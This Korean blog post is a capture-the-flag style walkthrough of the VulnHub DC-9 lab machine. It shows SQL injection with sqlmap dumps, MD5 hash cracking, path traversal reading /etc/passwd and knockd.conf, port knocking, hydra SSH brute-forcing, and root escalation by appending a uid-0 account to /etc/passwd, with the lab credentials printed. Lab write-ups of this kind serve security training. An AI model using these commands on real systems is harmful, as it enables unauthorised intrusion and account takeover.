https://www.vulnhub.com/entry/dc-9,412/
이 DC: 9 은 포트노킹에 대한 실습인데, 포트 노킹은 한번도 해보지 않아서 타쿠대디님 가이드를 읽으면서 실습을 진행하였습니다.
타쿠대디님 길잡이를 해주셔서 감사합니다!!
실습 환경 : VirtualBox
Reconnaissance
└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.120
Host is up (0.00030s latency).
MAC Address: 08:00:27:9C:5D:4A (Oracle VirtualBox virtual NIC)
...
포트 노킹에 대한 실습이기 때문에 filtered 되어있는 포트가 있어야하는데 22번 ssh가 바로 필터된 포트입니다
80번 포트는 열려있네요
WEB
example.com의 staff에 대한 자세한 페이지 입니다
직원들에 대한 정보도 잘 들어있네요
다른 엔드포인트에서는 검색을 할 수 있는 기능 그리고 로그인 할 수 있는 기능 등등이 있습니다. 다른 포트가 열려있지 않으니 웹에서만 취약점을 진단해야하니 상세한 기능까지 다 사용해봅니다
Vulnerability
검색을 할 수 있는 /search.php 에서 검색을 하니 /result.php로 넘어가며 POST 하는 Request하나를 발견했습니다
search에 1' or '1'='1 를 삽입하니 직원들에 대한 정보가 떳습니다. 그렇단 말은 SQL Injection이 가능하다는 말이니 sqlmap을 이용하여 한번 분석을 해봅니다
이렇게 파일 형식으로 만듭니다
information_schema, staff, users 데이터베이스가 있네요
└─$ sqlmap -r ./attacks/results.txt -D Staff -T Users --dump
└─$ sqlmap -r ./attacks/results.txt -D Staff -T StaffDetails --dump
└─$ sqlmap -r ./attacks/results.txt -D users -T UserDetails --dump
user 데이터베이스에 저장되어있는 username과 password는 리스트 형식으로 저장하도록 하겠습니다
데이터베이스가 가지고 있는 정보들을 덤프했으며, 현재 사용하고 있는 테이블, 그리고 사용하고 있는 유저 정보에 대해서도 파악합니다
current user : dbuser@localhost
current database : Staff
덤프했던 해시화 되어있는 admin 계정의 비밀번호가 어떤 해시화가 되어있는지 확인 후에 복호화를 시도합니다
MD5 입니다
https://md5decrypt.net/en/ 사이트에서 복호화를 진행합니다
# admin credentials
856f5de590ef37314e7c3bdf6f8a66dc : transorbital1
admin:transorbital1
File does not exist
즉 LFI (Local File Inclusion) 까지 가능할 수도 있겠습니다. 그러기 위해선 file 파라미터를 추가해서 path traversal 까지 가능해야하니 한번 테스트 해봅니다
가능하네요 /etc/passwd 파일을 읽을 수 있습니다 그럼,, 이 실습에서 해야하는것 바로 포트 노킹인데요
포트 노킹의 설정 파일은 /etc/knockd.conf 입니다 한번 읽어볼까요?
페이지 소스에서 좀 더 잘 정리된 것을 확인 합니다
OpenSSH
sequence -> 특정 포트를 열기 위한 포트 패턴 (7469 -> 8475 -> 9842 순서대로 요청)
반대로 CloseSSH의 sequence 는 포트를 닫기 위한 패턴입니다 한번 실제로 진행해보도록 하겠습니다
# knock install
sudo apt-get install -y knockd
# 포트를 열기
└─$ knock 192.168.45.120 7469 8475 9842
네 22번 포트가 열린 것을 확인 할 수 있습니다
Exploitation
포트 노킹을 통해서 22번 포트를 열었으니 ssh 접속을 해야합니다 그전에 파싱한 username, password을 hydra를 이용하여 비밀번호 브루트포싱을 진행해보겠습니다
# password brutefocing
└─$ hydra -L username.txt -P passwd.txt ssh://192.168.45.120:22 -t 4
#credentials
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
3개의 유저 비밀번호를 찾았습니다
대상 호스트에 초기 침투에 성공했고 나머지 유저들도 모두 접속해서 후속 공격을 준비하겠습니다
Post-Exploitation
linpeas.sh 스크립트로 정보 수집을 하기 위해서 /tmp 디렉터리에 들어가서 공격자 칼리에서 대상 호스트로 파일을 다운받습니다
chandler 유저로 들어가 linpeas.sh을 해봤지만,, 이미 데이터베이스 덤프를 다 한 상태고 추가적인 정보에 대한 특이점은 없었습니다
각자의 홈 디렉터리에서 한번 확인해보겠습니다.
janitor 유저의 홈디렉터리에서 숨겨진 디렉터리와 파일에서 새로운 비밀번호 목록을 찾았습니다
이전 비밀번호는 제외하고 새로운 패스워드 리스트를 만들어 비밀번호 브루트포싱을 진행해봅니다
joeyt 유저는 이전에 이미 찾았던 유저이고, 새로운 유저 fredf에 대한 비밀번호를 찾았습니다
fredf:B4-Tru3-001
바로 접속 해봅시다!
Privilage-Escalation
비밀번호 없이 뭔가 실행시킬수 있네요
파일에 대해서 확인해보니 ELF 실행 파일인 것으로 확인됩니다
test.py 파일을 찾아봐야겠네요
fredf@dc-9:~$ find / -name "test.py" 2> /dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py
# read test.py
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
만약 인자값이 3개가 아니라면 Usage: python test.py read append 문자와 함께 종료된다
첫번째 인자값에 대해서 파일을 읽고,
두번째 인자값에 대해서 파일 내용을 추가한다
뭐가 있을지 생각해봤는데 뭔가 관리자 권한을 가진 유저를 추가하는 방법이 최고지 않을까 싶네요
fredf@dc-9:/opt/devstuff$ cat /etc/passwd | head -n 3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
유저를 추가하기 위해서 /etc/passwd 형식을 먼저 파악합니다
사용자:암호:uid:gid:계정 이름:홈 디렉터리:실행 쉘
# 암호화된 비밀번호 생성
└─$ openssl passwd -6 -salt qwer qwerqwer
$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1
# append 파일 생성
fredf@dc-9:~$ echo 'qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash' > append.txt
# 파일 추가
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test append.txt /etc/passwd; cat /etc/passwd | tail -n1
qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash
관리자 권한 획득 완료
'Vulnhub' 카테고리의 다른 글
[Vulnhub] Digitalworld.local: Joy Walkthrough (0) | 2024.06.27 |
---|---|
[Vulnhub] DIGITALWORLD.LOCAL: MERCY v2 Walkthrough (0) | 2024.06.26 |
[Vulnhub] VulnOS: 2 Walkthrough (0) | 2024.06.24 |
[Vulnhub] LazySysAdmin Walkthrough (0) | 2024.06.23 |
[Vulnhub] stapler Walkthrough (1) | 2024.06.22 |